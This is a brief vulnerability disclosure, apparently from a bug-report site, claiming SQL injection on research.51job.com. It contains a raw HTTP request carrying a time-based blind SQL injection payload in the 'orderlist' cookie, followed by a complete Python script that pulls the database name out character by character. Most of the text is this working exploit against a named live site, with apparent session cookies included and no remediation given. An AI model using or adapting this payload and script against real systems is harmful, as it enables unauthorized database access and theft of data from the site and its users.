51job分站存在SQL注入

GET /order.html HTTP/1.1
 Cookie: ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(USER,1,1))>103)%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7
 X-Requested-With: XMLHttpRequest
 Referer: http://research.51job.com/
 Host: research.51job.com
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
 Accept: */*

#!/usr/bin/python
 # coding=utf-8
 import httplib,time,string,sys,random,urllib
 import requests
 def getPayloadCookie(i,payload):
     x = "ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(DB_NAME(),"+str(i)+",1))>"+str(ord(payload))+")%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7"
     headers = {
         'Host': 'research.51job.com',
         'Accept': '*/*',
         'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
         'Accept-Encoding': 'gzip, deflate, sdch',
         'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4',
         'X-Requested-With': 'XMLHttpRequest',
         'Referer': 'http://research.51job.com/',
         'Connection': 'Keep-alive',
         'Cookie': x
     }
     return headers
 def exploit():
     res = ''
     url = 'http://research.51job.com/order.html'
     payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
     payloads = sorted(payloads,reverse=True)
     for i in range(1,30,1):
         for payload in payloads:
             try:
                 headers = getPayloadCookie(i,payload)
                 response = requests.request(method='GET',url=url,headers=headers, timeout=3)
                 print chr(ord(payload)+1),
                 sys.stdout.flush()
             except Exception,e:
                 res += chr(ord(payload)+1)
                 print "/ncurrent result is",res
                 break
     print res
 if __name__=='__main__':
     exploit()
     #getPayloadCookie(2,'a')